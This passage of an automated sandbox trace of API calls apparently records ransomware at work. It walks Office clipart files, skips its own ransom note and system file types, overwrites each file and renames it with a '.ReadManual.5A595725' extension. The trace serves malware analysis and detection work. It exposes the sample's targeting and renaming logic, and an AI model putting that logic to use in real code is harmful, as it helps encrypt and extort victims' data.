hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.144] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.146] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.146] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6688) returned 0x2f0000 [0267.146] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.146] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38781504648) returned 1 [0267.146] CloseHandle (hObject=0x184) returned 1 [0267.146] SetSecurityInfo () returned 0x57 [0267.147] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.147] CloseHandle (hObject=0x194) returned 1 [0267.147] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0267.147] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152628.WMF" | out: lpString1="J0152628.WMF") returned="J0152628.WMF" [0267.147] lstrcmpiW (lpString1="J0152628.WMF", lpString2="RecoveryManual.html") returned -1 [0267.147] StrStrIW (lpFirst="J0152628.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.147] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.147] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.147] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" [0267.147] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.ReadManual.5A595725" [0267.147] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.ReadManual.5A595725") returned 87 [0267.147] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38781607344) returned 1 [0267.147] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 0x20 [0267.148] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.148] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30812) returned 1 [0267.148] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x785c, lpName=0x0) returned 0x184 [0267.148] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.149] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.149] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.150] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.151] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x785c) returned 0x2f0000 [0267.151] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38781997769) returned 1 [0267.151] CloseHandle (hObject=0x184) returned 1 [0267.151] SetSecurityInfo () returned 0x57 [0267.151] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.151] CloseHandle (hObject=0x194) returned 1 [0267.152] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0267.152] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152688.WMF" | out: lpString1="J0152688.WMF") returned="J0152688.WMF" [0267.152] lstrcmpiW (lpString1="J0152688.WMF", lpString2="RecoveryManual.html") returned -1 [0267.152] StrStrIW (lpFirst="J0152688.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.152] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.152] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.152] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" [0267.152] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.ReadManual.5A595725" [0267.152] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.ReadManual.5A595725") returned 87 [0267.152] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38782100844) returned 1 [0267.152] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 0x20 [0267.152] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.153] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=34676) returned 1 [0267.153] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8774, lpName=0x0) returned 0x184 [0267.153] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.153] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.154] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.156] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.156] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8774) returned 0x2f0000 [0267.157] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.157] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38782594553) returned 1 [0267.157] CloseHandle (hObject=0x184) returned 1 [0267.157] SetSecurityInfo () returned 0x57 [0267.157] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.157] CloseHandle (hObject=0x194) returned 1 [0267.158] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0267.158] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152690.WMF" | out: lpString1="J0152690.WMF") returned="J0152690.WMF" [0267.158] lstrcmpiW (lpString1="J0152690.WMF", lpString2="RecoveryManual.html") returned -1 [0267.158] StrStrIW (lpFirst="J0152690.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.158] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.158] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.158] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" [0267.158] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.ReadManual.5A595725" [0267.158] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.ReadManual.5A595725") returned 87 [0267.158] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38782695992) returned 1 [0267.158] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 0x20 [0267.159] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.159] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1268) returned 1 [0267.159] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f4, lpName=0x0) returned 0x184 [0267.159] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.160] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.160] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.161] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.161] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f4) returned 0x2f0000 [0267.162] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.162] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38783035721) returned 1 [0267.162] CloseHandle (hObject=0x184) returned 1 [0267.162] SetSecurityInfo () returned 0x57 [0267.162] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.162] CloseHandle (hObject=0x194) returned 1 [0267.162] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0267.162] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152694.WMF" | out: lpString1="J0152694.WMF") returned="J0152694.WMF" [0267.162] lstrcmpiW (lpString1="J0152694.WMF", lpString2="RecoveryManual.html") returned -1 [0267.162] StrStrIW (lpFirst="J0152694.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.162] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.162] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.162] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" [0267.162] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.ReadManual.5A595725" [0267.163] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.ReadManual.5A595725") returned 87 [0267.163] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38783132847) returned 1 [0267.163] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 0x20 [0267.163] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.163] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1348) returned 1 [0267.163] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x544, lpName=0x0) returned 0x184 [0267.163] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.164] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.164] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.167] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.167] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x544) returned 0x2f0000 [0267.167] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.167] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38783592155) returned 1 [0267.167] CloseHandle (hObject=0x184) returned 1 [0267.167] SetSecurityInfo () returned 0x57 [0267.167] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.167] CloseHandle (hObject=0x194) returned 1 [0267.167] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0267.168] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152696.WMF" | out: lpString1="J0152696.WMF") returned="J0152696.WMF" [0267.168] lstrcmpiW (lpString1="J0152696.WMF", lpString2="RecoveryManual.html") returned -1 [0267.168] StrStrIW (lpFirst="J0152696.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.168] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.168] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.168] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" [0267.168] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.ReadManual.5A595725" [0267.168] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.ReadManual.5A595725") returned 87 [0267.168] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38783688549) returned 1 [0267.168] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0267.169] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.169] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7320) returned 1 [0267.169] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c98, lpName=0x0) returned 0x184 [0267.169] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.170] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.170] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.181] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.181] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c98) returned 0x2f0000 [0267.181] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.181] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38785007726) returned 1 [0267.181] CloseHandle (hObject=0x184) returned 1 [0267.181] SetSecurityInfo () returned 0x57 [0267.182] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.182] CloseHandle (hObject=0x194) returned 1 [0267.182] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152698.WMF", 